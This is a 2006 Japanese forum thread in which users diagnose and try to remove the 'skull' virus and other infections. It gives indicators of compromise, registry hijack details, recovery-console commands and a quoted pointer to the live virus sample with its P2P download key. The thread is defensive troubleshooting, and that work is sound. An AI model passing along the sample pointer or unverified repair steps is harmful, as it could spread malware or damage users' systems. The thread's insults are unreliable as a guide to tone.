regedit.exe（レジストリエディタ）とかregedt32.exe（レジストリエディタ）とか
sfc.exe（システムファイルチェッカー）などの、.EXEファイルが開けなくなるんかな？

command.com（コマンドプロンプト）は？
スタート→ファイル名を指定して実行→command→OK

てか、新種のドクロウィルスに関して
勝手にタスクマネージャが開かれるようになったんだが･･･。

'OK'は内部コマンドまたは外部コマンド、操作可能なプログラムまたは
バッチファイルとして認識されていません

http://up.spawn.jp/file/up56591.gif

>625
もしかして、ソフトを起動したときに出るエラーメッセージ？

>>627
いいえ。
ソフトを起動させようとダブルクリックしても、無反応なんです。

>628
マジっすかあ！？
EXEファイルもcommand.comを起動不可能とは…

俺今PC内「uidateで検索したら
Temporary Internet Filesのなかに「UIDate.html」見つけた・・
だいじょうぶか？

command.comでuidateってやったら
ドクロマーク出てビビった･･･。

>>628-629
ウィルスに感染して(´･ω･`)ショボボーン
http://pc7.2ch.net/test/read.cgi/pc/1062738190/

687 名無しさん sage New! 2006/12/09(土) 23:28:11 0
俺、ドクロマークは出るし、再起動、終了もできねーけど
ウイルス対策ソフト、アプリ、レジストリ起動できるぞ？
俺の場合ウイルス踏んでハッと気がついてすぐにタスクマネージャー
から怪しい実行ファイル終了させたからかな？それでも感染はしてるけど・・・


ラッキーな奴もいるもんだな

>>632
俺の場合、漫画DLしてクリックしたらexeファイルで
ハッとしたが、何もならなかったから展開して漫画読んでた。

次の日、感染した。

>631
command.comの起動はできるのか。
でも、cmd.exeの起動は不可能と。

漫画って何の漫画？

>>634
勘違いさせてごめん。
>>623の方法で「OK」じゃなくて「uidate」ってやっただけだよ。

>>635
ブリーチの24巻だよ

俺はワンピースのたしか43か44巻だったなorz

>636
ファイル名を指定して実行から「uidate」と入力してOKってこと？

commandと入力してOK押しても無反応か？

スタート→ファイル名を指定して実行→command→OK
→'OK'は内部コマンドまたは外部コマンド、操作可能なプログラムまたは
バッチファイルとして認識されていません

スタート→ファイル名を指定して実行→command→uidate
ドクロマークが画面に出てビビった

スタート→ファイル名を指定して実行→regeditはどうよ

>>641
たくさん不正命令を検出したよorz

>640
＞→'OK'は内部コマンドまたは（ry
OKというのは、OKと入力するんじゃなくて、OKをクリックね。
またはEnterキーを押すってこと。

＞スタート→ファイル名を指定して実行→command→uidate
でドクロが出るんですね。
uidateと入力した時点でドクロが出るのか、もしくはuidateと入力して
EnterもしくはOKを押すとドクロが出るのかどっち？

>>643
OKを押す所が無く、Enterを押しても改行されるだけでした。

ドクロについてはuidateと打ち込んでenterでドクロが出てきました。

>644
＞改行されるだけ
普通だと、Enter押すとプログラムが起動するはずなのに？

じゃあ、ファイルの検索というのは起動できる？
スタート→検索

>>645
起動できますー

>646
では、PC内を「command.com」で検索してみて。
オプションで、探す場所はc:\
サブフォルダの検索にチェック

>>575
ソフトの紹介ありがとう。Devasってのを使ったけどそっちも落として使ってみる。

あとそうそう、こっちは拡張子.htm .asp .phpとhtm・asp・phpがファイル名に含まれるファイルに
iframeタグが追加されてたよ。

.htmと.htmlの検索だけじゃ不十分かもしれないから気をつけれ〜。

>>578
解析サンクスです。アクセスすると
C:\windows\system32\update\update.exe
C:\Documents and Settings\ユーザー名\Local Settings\Temp\mdb.exe
この2つが生成されてmdb.exeの方が実行されてました。
同時に起動したmdb.exeが即座にネットにアクセスしてたので…その後いろいろ悪さをするんだろうなぁ。
とりあえず嫌気が差したんで必要がないときはActiveXを止めておきます。

感染源は感染しているwebサイトかも？
iframeが追加されたhtmlファイル自体は検知してくれないんで知らずに踏んでる人が他にもいるかも…。

>>647
出てきませんでした^^;
普通は出てくるものなんですか？

>649
たぶん普通は出てくるだろうけど、フォルダオプションで全てのファイルを
表示するように設定されていないのでは？

全てのファイル・フォルダを表示する方法
ttp://www.higaitaisaku.com/zenhyoji.html

systemファイル削除系か？

ウィルスに感染して(´･ω･`)ショボボーン
ttp://pc7.2ch.net/test/read.cgi/pc/1062738190/

662 ：655：2006/12/09(土) 21:40:14 0
これがウイルス本体：悪用厳禁　DLkey=dokuro

を、scan。

常駐avast!検知せず。
非常駐　BitDefender 8 Free Editionが、反応。

File:
D:\Download\2chshare-mini_0081.zip=>000.jpg.exe
Suspected with:
BehavesLike:Win32.SMTP-Mailer

このスレ読んでなかったら、危いところだった。

>>650
フォルダオプションで全てのファイルを表示するように設定していました。

検索方法は「ファイルとフォルダすべて」→探す場所ドライブC、サブフォルダにチェック
を入れる方法であってますよね？

出てきませんでした(´・ω・`)

>653
そっか…
それじゃ、regedit.exeは検索して見つかる？

>>654
regedit.exeの方もHITしませんでした･･･^^;

>655
やはり>651の言うようにシステムファイル削除系のウイルスか。

explorer.exeなどの全部のEXE形式のファイルがあぼーんされてるんじゃ…

各社、対処用ウイルス駆除ツール発表されたとして
一体どうやって実行させる気だろう・・・

windowsインストールDiskで回復コンソールからはいったらどう？

>>648
ちょっと調べてみたら、WindowsUpdateで2004年12月に対策されてる。 ttp://support.microsoft.com/kb/870669/ja
問題は、Adodb.StreamでローカルマシンのHDDにデータを書き込めるってところ。
で、IEではAdodb.Streamを起動できない。

なので、セキュリティソフト全OFFにして直踏みしてみた。結果、何も実行されなかった。
普通の人は踏んでも、多分問題無いと思う。
不明なのは、IEコンポーネントのブラウザ。IEでは起動しないが他は分からん。

>感染源は感染しているwebサイトかも？
>iframeが追加されたhtmlファイル自体は検知してくれないんで知らずに踏んでる人が他にもいるかも…。

感染源は、iframe srcの2つ先。だから、自分の周りでスキャンしても無意味。

>658
回復コンソールからEXEファイルの実行は不可能だと聞いているが

>>660
実行する必要もないと思うけど。
クロとされるファイル
c:\windows\system32\uidate.exeをdeleteするとか、
listsvc→disableするとかできないの？

>661
delコマンドで削除するよりも、renコマンドでリネームのほうが良いんじゃない？

>>659
thx！早速、レジストリエディタを開いて
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility
を見たら教えていただいたページのキーが既に作成されていましたΣ(ﾟДﾟ；
使用しているブラウザはIEコンポのundonutです…。IEコンポﾏｽﾞ

>感染源は、iframe srcの2つ先。だから、自分の周りでスキャンしても無意味。
スキャン無意味ですか…orz　とにかくひたすら防御に専念します。

>>662
それの方がいいかもね。
いずれにしろ、立ち上がってるwindowsから
入るよりCD−ROMから回復コンソールに入ったほうが
安全だと思う。

http://up.spawn.jp/file/up56593.gif

ようこそ画面が出る前、もしくはようこそ画面そのものがドクロなら
回復コンソールが起動可能な筈だからな。

>>652の正体はC:\WINDOWS\network.exe
New Malware.j
こいつらしい

HijackThisは起動しないの？
リカバリーのウィザードも？

拡張子をCOMに変えでもって駄目？

アダ被にお世話になるのが一番だと思うが…

潜伏期間があるらしいから、発病前ならばなんとかできる「かも」しれないかな〜くらいじゃね？

とりあえず現在まだPCがまともに動いている人は該当ファイルをOCない検索かけて調べてみるくらいだろう。
どのような条件で発病するのかはまだ不明だが、見つかった場合はPCそのままOFFにしないで稼働させておいたほうが無難かもな。
まあ、一応はいくつかのアンチウイルスソフトで発病前に駆除できたという報告もあるようだし・・・

リカバリーして元に戻るならいいけど、それすらもわからんから怖いな・・・

発病後の被害状況がどこまであるのかがまだ不明だからね
BIOSや他のハードにまで及んでいたらもう手の施しようがないだろうな

http://pc7.2ch.net/test/read.cgi/pcqa/1150380799/19

>>672

>>640
>>641

>>641
>>642

リカバリで直らんの？？？
かなりたちが悪くないか？

http://pc7.2ch.net/test/read.cgi/pcqa/1150380799/19

>>676
お前頭悪いだろ

>>676の情報はデマですので注意。

このドクロ専用スレ立ってもいいくれーだな
あまりにも凶悪すぎるわこりゃ

>>676
shine

えっと、前々からパソコンの調子が悪くて困ってたら
脅威が検出された　とかでウィルスに感染してるみたいなんです。

使ってるOSは「Windows2000Me」 で(これでいいでしょうか？)
W32.Mydoom.AX@mm　ってのに感染してるそうです。

色々とデータが危ないとか警告が出てるんですけど、
怖くて何も出来ないでいます＞＜。

やっぱりお金を払って直してもらうしかないのでしょうか？
お返事お待ちしてます。

2000とmeでは大違いなのだが。
金払うのが嫌なら、フリーのアンチウイルスソフトで検索してみる

＞使ってるOSは「Windows2000Me」
ワロタ

http://safety.live.com/site/ja-JP/default.htm

http://pc7.2ch.net/test/read.cgi/pcqa/1150380799/

トレンドマイクロオンラインスキャン （手動駆除）
http://www.trendmicro.co.jp/hcall/index.asp
シマンテックセキュリティチェック （手動駆除）
http://security.symantec.com/sscv6/home.asp?productid=symhome&langid=jp&venid=sym&close_parent=true&bhcp=1

早速のお返事どうもです；；

すみません、本体に
Designed　for
Microsoft
―――――――
Windows2000
Professional
―――――――
WindowsMe

というシールが貼ってあったもので・・。
今ちょっとパソコンを見たところ
「WinAntiVirusPro2006FreeInstall_jp」
「SystemDoctor 2006」
という見慣れないアイコンを発見しましたが、関係は無いでしょうか；；

アンチウィルスソフトのダウンロードサイトが
どこも英語ばかりなのでしばらく奮闘してみます。

助言の方有難うございます。

WinAntiVirus-詐欺ソフト対策総合スレ-SystemDoctor
http://pc8.2ch.net/test/read.cgi/sec/1162464139/

「WinAntiVirusPro2006FreeInstall_jp」
「SystemDoctor 2006」
はインスコするなよ

アダ被のフォーラムで情報を求めてみた結果、foo氏が駆除方法を発見しました。(fooさんに感謝！
http://forum.higaitaisaku.com/viewtopic.php?p=10082#10082

インスコはイントールのこと　でいいんですよね？
自分は何も弄ってないのでそれ以前に何もしてなければ・・。

とりあえず、詐欺ソフト　とのことですよね。
時々出てくる広告が不安だったので・・。

それと時々、突然ブルーバックのページに飛ばされて
アダルトサイトの形跡云々のウィンドウが表示されるのも
これが原因なんでしょうか？

>>690の駆除方法はあくまでfoo氏のPC環境で行ったものなのでそこんところはよろしく。
と。

>>690
ご苦労様です
とりあえずは、感染してしまった人の結果報告を待ちましょう

ドクロウィルスの駆除方法は発見されていないんだね(´・ω・`）

>>694
これから感染予定のある人達用には
まだどこも正式なパッチファイルが出来ていないようで
一部のアンチウイルスソフトのヒューリスティック機能に引っかかるだけみたい

>>690

C:\WINDOWS\regedit.exe → C:\WINDOWS\regedit.com
C:\WINDOWS\system32\cmd.exe → C:\WINDOWS\system32\cmd.com
↑のコピー→リネームがミソですね。

でもHKEY_CLASSES_ROOT\comfile\shell\open\command
など他の実行ファイル形式にもし掛けられてたら救いようがない・・・

>>696
リネームの場所までたどり着けない俺って･･･('A`)

>>697
WINDOWインストールCD−ROMの回復コンソールからはいる。

アダ被のfooさんすげー！
俺も、regedit.exeをregedit.comにリネーム
ログオン画面がドクロになるから、レジストリエディタから
winlogonキーの内容の調査、プログラムファイルが開けなくなるから
.exeキーとexefileキーの内容の調査もやろうとはしたんだが、
なんせ昨日の質問者、regedit.exeが見つからない（=ドクロに削除されたのかな？←俺もそう思った）
と言うので、これ以上いろいろとさせるのは相手も疲れるだろうから、
諦めたわけだがね。
それにしてもfooさんは偉大な方だ。

>>699
昨日の質問者だよ。
昨日は付き合せてすいませんでした

>700
いえいえ、どうってこと無いですよ。

やはりアダ被は頼りになるな。

>>699
人間としても偉大になれよ

Windows 2000/XP で誤って exe ファイルの関連付けを変更し、一切のプログラムが起動しなくなった場合、次の手順で回復させてください。
[スタート]−[ファイル名を指定し実行] から command を実行します。
次のコマンドを実行します。
C:\>assoc .exe=exefile
C:\>ftype exefile="%1" %*

レジストリエディタを起動して
4) 以下のレジストリキーを修正します

・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon キーの "UIHost" という値の内容が、

C:\WINDOWS\system32\uidate.exe になっているのを C:\WINDOWS\system32\logonui.exe に変更

これが正攻法なのでこの通りにやってくださいな

>>699
んなもん拾ってくるのが偉大とは・・・

C:\WINDOWS\タスク\At1.job 設定日:2006/12/10,開始時刻:22:00 間隔:毎週金曜日.
C:\WINDOWS\network.exe

000.jpg.exeを実行しても
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
これの内容はまだ書き換えられないから
C:\WINDOWS\network.exeが実行時に改変すると思われる。

そういう意味での偉大なら誰にでも出来そうだが？
（恐らく）実験用のPCで感染実験して駆除方法を見つけたということに
凄いという意味だ。

いや　まあ誰がみてもすごいと思うよ
強列なウイルスが出現した時　色々なとこから達人が現れるのがセキュ板のよさだと思う

ここも更新来てるね→ttp://blog.livedoor.jp/hpg/

兎に角fooさんが凄いことには変わりはない(・∀・)

foo様、駆除方法の（２）を、無知な僕にわかりやすく
説明してください(´・ω・)

>>711
fooさんは2chの住民ではないのでアダ被で直接相談しましょう。
つhttp://bbs.higaitaisaku.com/cbbs.cgi

fooさんはアダ被でも1,2を争うほどのスキルの持ち主だそうで。

(2)ができねぇ･･･(ﾟдﾟ )

>>714
回復コンソールって知っているかい？

>>715
知らないよ^^;

回復コンソール

http://support.microsoft.com/default.aspx?scid=kb;ja;314058

windowsのCD-ROMが必要なんだ。

手元にないよ。
ありがとうございました

>>718
Alt+F4連打して
何とかしてセーフモードでログオンしやがれ
その後に>>704をやれよ

もうこのスレおしまい　じゃあ

CDブートの回復コンソールディスクを作る
http://lets-go.hp.infoseek.co.jp/kaihuku.html

今回このページでは、おもにメーカー製XPプレインストールパソコンのユーザーでWindows　XPインストール用CDROMをお持ちでない方対象に、
３の方法を応用し、フロッピーディスクの代わりにCD-Rを使うことで、フロッピーレスな環境においても使える「回復コンソール起動CD」を作製する方法を紹介します。
XPパソコンがすでに起動しなくなっている状態でも、Win98以降のOSを搭載した別のパソコンがあれば、「回復コンソール起動CD」を作製できます。

>>719
やってみるよ！
ありがとう。

レジストリエディタを起動したら、不正命令を検出して
閉じる以外させてもらえなかったよ。

きいいいいい！！

>>722
再起動

￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣｣
□□□□□□□□―――――‐┬┘
　　　　　　　　　　　 　 　 　 　 　 　 |　
　　 　 　 ＿＿＿＿.＿＿＿＿ 　　 |　　
　　　　　|　 　 　 　 | 　 　 　 　|　　 |　　　
　　　　　|　 　 　 　 | ∧＿∧　|　　 |　　　
　　　　　|　 　 　 　 |（　´∀｀）つ ミ |　 ├─┐
　　　　　|　 　 　 　 |/ ⊃　 ﾉ　|　　 |　 ├─┘
　 　 　 　￣￣￣￣'￣￣￣￣　 　 | 　

>>722
ええと　制限出来るのはユーザーハイブの方でだけだから
セーフモードでAdministratorにログオンしてregeditを起動する

それからそのユーザーの
HKEY_USERS\S-1-5-21-xxxxxx-xxxxxxxxxx-xxxxxxxxx-1004\Software\Microsoft\Windows\CurrentVersion\Policies\System
このキーを削除してみる

ごめん。
ガチでAdministratorでのログイン方法知らないんだ^^;

WindowsXPならセーフモードで起動すれば、Administratorのアカウントが
出ると思うんだけど…ようこそ画面がドクロとなるとな…

fooさんの方法で出来ないのであればリカバリーするのが一番楽だろ…

同意
時に諦めも大事なことだし。

了解しました。
みんなありがとう。

ごめんね(´・ω・)

初心者なのか分からないし、知識あまりねーけど質問させて。
ドクロウイルスって前からあったよね。亜種とやらがでたって事?
新種と亜種の違いがよく分からんけど。

違いがわかる男は、つべこべ言わずに、思いっきり踏んでみる。
それが男ってもんよ

WinnyかShareで違法ブツをダウンロードしなくては踏めないようなウイルスでよくそこまで盛り上がれんな

犯罪者がたくさん居るスレはここですか？

>>733
それがいろいろな手段で広まっていくと

このドクロはよ　歯が立たなかったら回復コンソールを起動して
cd system32
copy logonui.exe uidate.exe
上書きしちまえば、これで起動するようになるんじゃないの？

>>733
でも駆除方法が発見出来たし､ただ盛り上がってるだけじゃない。
お前みたいな無関心な奴は自分で何かをしようとしないから役に立たない｡
だからｶｴﾚ｡

ベクターだって感染したファイルをばら撒いたしな

>>737
ほうっておけ
自分が被害者になってみなければ、
わからないのだから
それに自分だけは絶対に大丈夫と信じこんでいるんだからさ

こういう一生懸命必死に努力している人がいたから、
ウイルス定義パターンが配布され、その恩恵で守られているだけなのにな

検体を送った人がいたからカスペは昨日の昼には対応していたんだぜ

注意警告出した甲斐があった

>>740
バカか。一生懸命必死に努力する人間がいたことと
ベンダーから定義が配布されることはまったく別の話だ
妄想お花畑に埋もれてんなよ

別に必死に努力などしなくても普通にベンダーに送信するだけでシグネチャは配布されるわな。
何か変に酔っちゃって意味不明なことを言い出すのが出てくると痛い。
シグネチャが配布されるまでの時間稼ぎという方が近いだろう。

偏狭なやつばっか

　　　 　r　‐､
　　　　　　| ○ | 　　　　　　　　r‐‐､
　　　　　_,;ﾄ - ｲ、　　　　　　∧l☆│∧ 　良い子の諸君！
　　　 （⌒`　　　 ⌒ヽ　　　/,､,,ﾄ.-ｲ/,､ l 　「五分五分で勝てる」！
　　　　|ヽ　 ~~⌒γ⌒）　r'⌒　｀!´ `⌒） 　割合で五分五分ならたった５％同士じゃないか、
　　　│　ヽー―'^ー-'　（ ⌒γ⌒~~　/　　と思う人も結構いるだろう！
　　　│　　〉　　　 |│　　|｀ー^ｰ― r'　|　　しかし引分けを勝ちと考えれば勝率９５％だ！
　　　│　/───|　|　　|/　| 　l　　ﾄ､ |　　意外と侮れないぞ！
　　　|　 irｰ-､ ｰ　,}　|　　　 / 　　　　i
　　　| /　　　｀X´　ヽ 　　 / 　 入　　|

>>737
>>739
こんなウンコウイルスに一生懸命になって笑える
実際問題感染する前にＡＶで止めればそれまでだ

>>740
たぶんヒッキーがヒマでやったんじゃないの?
それともお得意の神様誕生ですか?

>>747-748はfoo氏に嫉妬してるだけｗ

お前らいつまでも馬鹿か

嫉妬しねーよ
引き分けを勝ちと考える　その発想がまずどうなんだ。それに勝ち5　負け5って完全に数字固定してあるし
現実的に考えて90も引き分ける可能性は少ないのではないですか?勿論勝負事にもよると思いますし
実力にもよると思いますが。

　　　　　　 　　　＿＿＿_
　　　　　　　　／　　 　 　＼
　　　　　 　／　─　 　 ─　＼
　　　　　／ 　 （●） 　（●）　 ＼　 　　　>>751♪
　　　　　|　 ::::::　（__人__）　 ::::::　|
　 　　　 ＼.　　　　`ー'´　 　　／ヽ
　　　　　　（ヽ、　　　　　　/￣）　　|
　　　　　　 |　｀`ー――‐''|　　ヽ、. |
　　　　　　 ゝ　ノ　　　　 　ヽ　 ノ　 |
　￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣

６月ごろ発生の山田オルとキンタマはノートンで検出できる？

あったりめぇよ

６月ころアップされたファイルを落としてから調子悪いんだよね・・・
ログファイルなんて物ができるし

取り逃していたら古くても関係なしでしょ?前に食らったことがあった。2年前のウイルス
新種で騒がれる方がよっぽどいいです。
新種と亜種の違いがいまいち分からない。どう違うの?

自分のはどういうウイルスかわからんので気味が悪い。山田オルだと確実に
漏洩？それとも運が悪いと（変動IP）誰かに閲覧？全てダウンロード？

デスクトップにsettingなるフォルダを勝手に作られましたOrz
なんのウイルスですか？フォルダ小僧なるものもHD上でみつけましたOrz

>>758
>>1

【使用OS】 XP sp2
【WINDOWS　UPDATE】 自動
【ウィルスソフト】 ノートン２００６〜２００７　アップデート頻繁
【UPDATE】 自動、手動も時々
【スキャン】 時折　特に異常なし
【症状】 デスクトップにsettingなるフォルダが出現、中を見ると自分のDocuments and Settings
の中身ぽいが中はすかすか、怖いのでスキャン後ゴミ箱、したら又出現し同様、以後
現れず。もうひとつのHDにテキストファイル式のログ発見、上記と同様廃棄
　クリインスコ前に（つい先日）、HDの中をみたがTempにフォルダ小僧なるいやな名前の
フォルダを発見、なかはスカスカ。もうひとつ最近使ったファイルのところに最近使った覚えの
ないフォルダ（DVDに入れているものでHD上にデータはない）のなまえが・・・。
【やったこと】 １０月ごろ尻毛バーガーの２G近いファイル（２ヶ月ぐらい前にアップされた時間の
経たものではあったのだが）はダウンしファイルサイズに比べ中身スカスカが気になるが・・・
不覚にもいろんなフォルダをクリックしまくり
【とった処置】 クリインスコ済みだが・・・年賀状の住所録の流失かな？
SSだと致命的かも、ファイル自体は偽名も散りばめられているので特定は難しい
だろうが年賀状住所録だと送り先からOrz

あ、もうひとつ１週間ぐらい前から公表していないメルアドに石油の価格が
頻繁に届くようになって・・・おかしいなーーーと。

追記：ある商店にメールを送ったら返事の来るころ石油価格のメールも届きました。
ISPはDTIでIPは年中変動しているみたいですが２ヶ月近く流失しまくりかなOrz
尻毛バーガーは好みではなかったので高い代償ですかね？

なんかorzとか連発されるとふざけてるようにしか見えねーな

>>763すいません。真面目です。

【使用OS】WinXP SP2
【WINDOWS　UPDATE】自動
【ｳｨﾙｽｿﾌﾄ】ﾏｶﾌｨｰ
【UPDATE】してません
【ｽｷｬﾝ】たまに
【症状】ﾃﾞｽｸﾄｯﾌﾟが表示されたまま動きません
【やったこと】他板で壁紙を落としていました
【とった処置】セーフモードでウィルススキャンを実行したところPate.b、Pate.b.dllというウィルスに感染していました。
全てのファイルをスキャンすると、ﾏｶﾌｨｰをインストールした場所でスキャンが強制的に終了して
もう一度スキャンを実行しようとしても出来ませんでした。
再起動してまたスキャンを実行したところ、またもﾏｶﾌｨｰがインストールされた場所でスキャンが終了してしまいました。
これはどう対処すればよいのでしょうか…

>>765
最初にWindowsフォルダをスキャンしてウィルスを削除しちまえばいいんじゃないでしょうか？
その後に不具合があればウィルススキャンを再インストールすればいい

>>760んなもんだうんしてっからだ死ね

各社、ドクロウイルスに対応したようですね
大手3社はまだのようですが

バスター対応したんじゃね？

>>762
sineクズ

>>769
してねーな

すまん。対応してた。
大元のファイルに対応。感染後のファイル(uidate.exe)は非対応。

【使用OS】 WinXP SP1
【WINDOWS　UPDATE】とくにしてません。
【ウィルスソフト】 Norton AntiVirus
【UPDATE】 最新
【スキャン】 全スキャンしました
【症状】1.exeというファイルがネットに接続しようとしたところをNorton Internet Securityが検知して
ファイルの場所を探したらC:\WINDOWSにありました。
接続を禁止したところ2.exeができて同様にネットに接続しようとし、禁止したら今度は3.exeが・・・
【やったこと】 アップデートしたNorton AntiVirusおよびウイルスバスターのオンラインスキャンしても何も検知されず
【とった処置】 実行されてるプロセスを停止してファイルを削除
これはなんなのでしょうか？

>>773
こないだ1.exe〜7.exeまで量産されたよー。
ファイルパスが微妙に違うから別物だと思うけど
念のためDr.WEB CureIt!でスキャンしてみれ。

Dr.Web CureIt!
http://drweb.jp/support/?cureit

シマンテック＆トレンドマイクロのオンラインスキャンで
未検出だったウイルスがゴロゴロ出てきたよ。

それでもウイルスが出なければ2.exeと3.exeを
http://www.virustotal.com/en/indexf.html
http://scanner.virus.org/
http://virusscan.jotti.org/
で調べて検出率が高いエンジンを見極めれ。んで成績が良かったモノで再度スキャンしれ。

Viruslistjp.com 検索
検索文字列: "1.exe 2.exe 3.exe"
検索結果: 34 件
http://www.viruslistjp.com/find?search_mode=full&words=1.exe+2.exe+3.exe&x=15&y=9

>>774
IEだとindexf.html、Fxだとindexx.html、と分かれるから
VirusTotalを張る場合はディレクトリは削ってくれ。

>>772
検体の提出方法かベンダの解析方法に問題ありそうだな。
今解剖中。P2Pとかやってる人には想像つかんだろうけど
ナローでアップするには厳しいサイズだ…。

と思ったら >>709 で既に解剖されてた。
さて提出してくるか…。

ドクロウィルスで　C:\WINDOWS\system32\uidate.exe が発見された場合にはもう手遅れなんだから、
削除と同時に以下のレジストリ値も変更せねばならない。
ベンダーはこの辺わかってんのかな？

・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon キーの "UIHost" という値の内容が、

C:\WINDOWS\system32\uidate.exe になっているのを C:\WINDOWS\system32\logonui.exe に変更

↑ついでにようこそ画面にされる(同じキーのLogonType)

>>760あれだけ流行ってた４ヶ月も前のファイルのウイルスに未対応って事あるかな？
卯留守としてうまく機能してない可能性もある

ブタ切りスマそ
みんなはCWShredderは使ってますか？

使っていません

スパイウェアの検知ってウィルスバスターオンラインスキャンでもできますか？

PCのことがあまり分からず使っていたものです。。。。ここ何ヶ月かまえから、勝手にキーボードのｎが打ち込まれていくのです。
直し方とか全く分からなくて・・・教えてもらえませんか？

>>785
ｷｰﾎﾞｰﾄﾞ交換してﾀﾞﾒならﾘｶﾊﾞﾘ
それでもﾀﾞﾒなら修理・・・と思う
知人は「ｒ」連打だった
SafeModeもBIOSでもずーっと
「ｒ」を選択、文字の打てる箇所は
全て「ｒ」、ｳｨﾙｽではなかった

>>784
マルチ　チネ

畜生！キンタマに感染してた・・・NISの役立たず。おいらの写真が永遠の彼方に・・・

バカじゃねーの

>>788
悪いのはお前｡
ウイルスに感染するようなヘタレは死ね

(^^;

憂いニーとか使うからだよね。
てか、ダウソしながら同時にウイルスチェックは出来ないの？

>>788
http://tmp6.2ch.net/test/read.cgi/tubo/1153063695/743-746

今までセキュリティ対策をしてなかったので　教えてください。

1、使用ソフト：ウインドウズＸＰ
2、プロバイダーはヤフー、YahooBBに加入している
3、外人の友人が　結構いるので海外とのメールのやり取りが多い
　メール送信はアウトルックエクスプレス使用していますが　受信時は
ヤフーメールにも受信されます。

相談事項：
ヤフーで提供しているセキュリティと　ノートン単独で販売しているのとは
セキュリティとはどう違うのですか。ノートンのダウンロードタイプと
パッケージタイプとは　どっちがベストですか。

>>794
パッケージ版の方が価格競争の結果安く入手が出来る。
パッケージ版の方が不良ディスクなどの場合を除いて、いつでも再インストールに出来る。
ダウンロード版のメリットは、箱がないので地球に優しいくらいかな。
つづきは本スレで。
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.102【2007】
http://pc8.2ch.net/test/read.cgi/sec/1165936988/l50

>>787
答えも遅い、短い、詳しくない、答えもしない　そんな下等生物が相手にされているだけでも
ありがたく思え。立場が分かってない

誰に ?

>792不覚。山田のほうに注意が行き過ぎてた
＞793・・・金呉

山田に注意してたらキンタマに感染しました、だって
言い訳が馬鹿すぎ

ウイルスバスター2006 リアルタイム検索

リアルタイム検索中にウイルス/スパイウェアが見つかったため、自動的に処理しました。処理の結果は次のとおりです。
.
処理の結果:
.
ファイル名: C:\WINDOWS\system32\jsdll.dll
ウイルス/スパイウェア名: Possible_Infostl

これってなんですか？

つ　http://www.ahnlab.co.jp/virusinfo/view.asp?seq=2276

Win32:Rbot-CXN [Trj]
このウイルスの効果知ってる人居たら教えて欲しい
これと関係あるかどうかは分からないけど
最近2chやその他の特定のサイトは開くんだがグーグルとかが表示されなくなった・・・orz

hosts　ファイルは書き換えられていませんか？

>>800
誤検出　POSSIBLE_INFOSTL
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=POSSIBLE%5FINFOSTL

>>802
多分これ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR%5FSDBOT%2EMX&VSect=T

NODは詳細少ないからな

【使用OS】 WinXP
【WINDOWS　UPDATE】 してない
【ウィルスソフト】 入れてない
【UPDATE】 してない
【スキャン】 BKDR_RBOT.CA
【症状】 特に無い
【やったこと】 ネットに繋いでいるとISPから電話が掛かって来てBOTと呼ばれる
ウイルスに感染しているから駆除ツールを使って駆除してくださいと言われた
【とった処置】 サイバークリーンセンターというサイトからBOTの駆除ツールを落として実行

>>806
> ネットに繋いでいるとISPから電話が掛かって来てBOTと呼ばれる
> ウイルスに感染しているから駆除ツールを使って駆除してくださいと言われた

こんなのってありなの？
ISPが勝手にウィルススキャンやってんの？

まあ　つりくさいけどこのツールは実際にあるし　いい情報だと思う
https://www.ccc.go.jp/flow/index.html

ISPがウイルススキャンしなくてもBOTに感染してるかどうかは分かるだろが